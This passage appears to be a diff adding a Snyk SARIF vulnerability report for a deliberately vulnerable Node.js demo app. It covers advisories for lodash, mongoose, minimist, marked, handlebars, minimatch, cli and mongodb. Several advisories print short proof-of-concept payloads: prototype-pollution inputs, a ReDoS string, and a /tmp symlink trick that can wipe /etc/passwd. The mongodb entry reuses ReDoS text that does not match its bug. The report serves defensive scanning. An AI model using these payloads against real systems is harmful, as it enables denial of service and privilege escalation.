following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `lodash` to version 4.17.11 or higher.\n# References\n- [GitHub Commit](https://github.com/lodash/lodash/commit/5c08f18d365b64063bfbfa686cbb97cdd6267347)\n- [GitHub PR](https://github.com/lodash/lodash/pull/4450)\n- [POC: GitHub Issue](https://github.com/lodash/lodash/issues/3359)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-185", + "npm" + ], + "cvssv3_baseScore": 4.4, + "security-severity": "4.4" + } + }, + { + "id": "npm:cli:20160615", + "shortDescription": { + "text": "Low severity - Insecure use of /tmp folder vulnerability in cli" + }, + "fullDescription": { + "text": "(CVE-2016-10538) cli@0.6.6" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: cli\n* Introduced through: goof@1.0.1, dustjs-linkedin@2.6.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › dustjs-linkedin@2.6.0 › cli@0.6.6\n# Overview\n[`cli`](https://www.npmjs.com/package/cli) is an npm package used for rapidly building command line apps. \n\nWhen used in `daemon` mode, the library makes insecure use of two files in the `/tmp/` folder: `/tmp/.pid` and `/tmp/.log`. These allow an attacker to overwrite files they typically cannot access, but that are accessible by the user running the CLI-using app. This is possible since the `/tmp/` folder is (typically) writeable to all system users, and because the names of the files in question are easily predicted by an attacker.\n\nNote that while this is a real vulnerability, it relies on functionality (`daemon` mode) which is only supported in very old Node versions (0.8 or older), and so is unlikely to be used by most `cli` users. To avoid any doubt, the fixed version (1.0.0) removes support for this feature entirely. \n\n# Details\nFor example, assume user _victim_ occasionally runs a CLI tool called `cli-tool`, which uses the `cli` package.\nIf an attacker gains write access to the `/tmp/` folder of that machine (but not the higher permissions _victim_ has), they can create the symbolic link `/tmp/cli-tool.pid -> /home/victim/important-file`. When _victim_ runs `cli-tool`, the `important-file` in victim's root directory will be nullified. If the CLI tool is run as root, the same can be done to nullify `/etc/passwd` and make the system unbootable. \n\nNote that popular CLI tools have no reason to mask their names, and so attackers can easily guess a long list of tools victims may run by checking the `cli` package [dependents](https://www.npmjs.com/browse/depended/cli).\n\n# Remediation\nUpgrade `cli` to version `1.0.0` or greater, which disables the affected feature.\n\nFrom the fix release notes:\n```\nThis feature relies on a beta release (e.g. version 0.5.1) of a Node.js\nmodule on npm--one that was superseded by a stable (e.g. version 1.0)\nrelease published three years ago [2]. Due to a build-time dependency on\nthe long-since deprecated `node-waf` tool, the module at that version\ncan only be built for Node.js versions 0.8 and below.\n\nGiven this, actual usage of this feature is likely very limited. Remove\nit completely so the integrity of this module's core functionality can\nbe verified.\n```\n\n# References\n[1] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=809252\n[2] https://github.com/node-js-libs/cli/commit/fd6bc4d2a901aabe0bb6067fbcc14a4fe3faa8b9\n" + }, + "properties": { + "tags": [ + "security", + "CWE-59", + "npm" + ], + "cvssv3_baseScore": 2.8, + "security-severity": "2.8" + } + }, + { + "id": "SNYK-JS-MONGOOSE-1086688", + "shortDescription": { + "text": "Medium severity - Prototype Pollution vulnerability in mongoose" + }, + "fullDescription": { + "text": "mongoose@4.2.4" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: mongoose\n* Introduced through: goof@1.0.1 and mongoose@4.2.4\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › mongoose@4.2.4\n# Overview\n[mongoose](https://www.npmjs.com/package/mongoose) is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The `mongoose.Schema()` function is subject to prototype pollution due to the recursively calling of `Schema.prototype.add()` function to add new items into the schema object. This vulnerability allows modification of the Object prototype.\r\n\r\n\r\n## PoC\r\n```\r\nmongoose = require('mongoose');\r\nmongoose.version; //'5.12.0'\r\nvar malicious_payload = '{\"__proto__\":{\"polluted\":\"HACKED\"}}';\r\nconsole.log('Before:', {}.polluted); // undefined\r\nmongoose.Schema(JSON.parse(malicious_payload));\r\nconsole.log('After:', {}.polluted); // HACKED\r\n```\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for exampl" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 5.6, + "security-severity": "5.6" + } + }, + { + "id": "SNYK-JS-MINIMIST-2429795", + "shortDescription": { + "text": "Low severity - Prototype Pollution vulnerability in minimist" + }, + "fullDescription": { + "text": "(CVE-2021-44906) minimist@0.0.8" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: minimist\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › spawn-wrap@1.2.3 › mkdirp@0.5.1 › minimist@0.0.8\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › caching-transform@1.0.1 › mkdirp@0.5.1 › minimist@0.0.8\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › find-cache-dir@0.1.1 › mkdirp@0.5.1 › minimist@0.0.8\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › mkdirp@0.5.1 › minimist@0.0.8\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › mkdirp@0.5.1 › minimist@0.0.8\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › coveralls@2.13.3 › minimist@1.2.0\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/update-notifier@2.5.1-rc2 › latest-version@3.1.0 › package-json@4.0.1 › registry-auth-token@3.4.0 › rc@1.2.8 › minimist@1.2.0\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/update-notifier@2.5.1-rc2 › latest-version@3.1.0 › package-json@4.0.1 › registry-url@3.1.0 › rc@1.2.8 › minimist@1.2.0\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › handlebars@4.0.5 › optimist@0.6.1 › minimist@0.0.10\n# Overview\n[minimist](https://www.npmjs.com/package/minimist) is a parse argument options module.\n\nAffected versions of this package are vulnerable to Prototype Pollution due to a missing handler to `Function.prototype`.\r\n\r\n**Notes:** \r\n\r\n- This vulnerability is a bypass to [CVE-2020-7598](https://security.snyk.io/vuln/SNYK-JS-MINIMIST-559764)\r\n\r\n- The reason for the different CVSS between CVE-2021-44906 to CVE-2020-7598, is that CVE-2020-7598 can pollute objects, while CVE-2021-44906 can pollute only function.\r\n\r\n\r\n# PoC by Snyk\r\n```js\r\nrequire('minimist')('--_.constructor.constructor.prototype.foo bar'.split(' '));\r\nconsole.log((function(){}).foo); // bar\r\n```\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a be" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 3.7, + "security-severity": "3.7" + } + }, + { + "id": "SNYK-JS-MARKED-2342073", + "shortDescription": { + "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in marked" + }, + "fullDescription": { + "text": "(CVE-2022-21681) marked@0.3.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: marked\n* Introduced through: goof@1.0.1 and marked@0.3.5\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › marked@0.3.5\n# Overview\n[marked](https://marked.js.org/) is a low-level compiler for parsing markdown without caching or blocking for long periods of time.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when passing unsanitized user input to `inline.reflinkSearch`, if it is not being parsed by a time-limited worker thread.\r\n\r\n# PoC\r\n```js\r\nimport * as marked from 'marked';\r\n\r\nconsole.log(marked.parse(`[x]: x\r\n\r\n\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](`));\r\n```\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `marked` to version 4.0.10 or higher.\n# References\n- [GitHub Commit](https://github.com/markedjs/marked/commit/c4a3ccd344b6929afa8a1d50ac54a721e57012c0)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-1333", + "npm" + ], + "cvssv3_baseScore": 5.3, + "security-severity": "5.3" + } + }, + { + "id": "SNYK-JS-HANDLEBARS-173692", + "shortDescription": { + "text": "High severity - Prototype Pollution vulnerability in handlebars" + }, + "fullDescription": { + "text": "handlebars@4.0.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: handlebars\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › handlebars@4.0.5\n# Overview\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\nAffected versions of this package are vulnerable to Prototype Pollution. Templates may alter an Objects' prototype, thus allowing an attacker to execute arbitrary code on the server.\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n## For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n# Remediation\nUpgrade `handlebars` to " + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 7.3, + "security-severity": "7.3" + } + }, + { + "id": "SNYK-JS-MINIMATCH-1019388", + "shortDescription": { + "text": "High severity - Regular Expression Denial of Service (ReDoS) vulnerability in minimatch" + }, + "fullDescription": { + "text": "minimatch@2.0.10" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: minimatch\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › fileset@0.2.1 › glob@5.0.15 › minimatch@2.0.10\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › fileset@0.2.1 › minimatch@2.0.10\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › rimraf@2.5.2 › glob@7.0.3 › minimatch@3.0.0\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › spawn-wrap@1.2.3 › rimraf@2.5.2 › glob@7.0.3 › minimatch@3.0.0\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › glob@7.0.3 › minimatch@3.0.0\n* _Introduced through_: goof@1.0.1 › dustjs-linkedin@2.6.0 › cli@0.6.6 › glob@3.2.11 › minimatch@0.3.0\n# Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via complicated and illegal regexes.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `minimatch` to version 3.0.2 or higher.\n# References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/6944abf9e0694bd22fd9dad293faa40c2bc8a955)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 7.5, + "security-severity": "7.5" + } + }, + { + "id": "SNYK-JS-MONGODB-473855", + "shortDescription": { + "text": "High severity - Denial of Service (DoS) vulnerability in mongodb" + }, + "fullDescription": { + "text": "mongodb@2.0.46" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: mongodb\n* Introduced through: goof@1.0.1, mongoose@4.2.4 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › mongoose@4.2.4 › mongodb@2.0.46\n# Overview\n[mongodb](https://www.npmjs.com/package/mongodb) is an official MongoDB driver for Node.js.\n\nAffected versions of this package are vulnerable to Denial of Service (DoS). The package fails to properly catch an exception when a collection name is invalid and the DB does not exist, crashing the application.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most 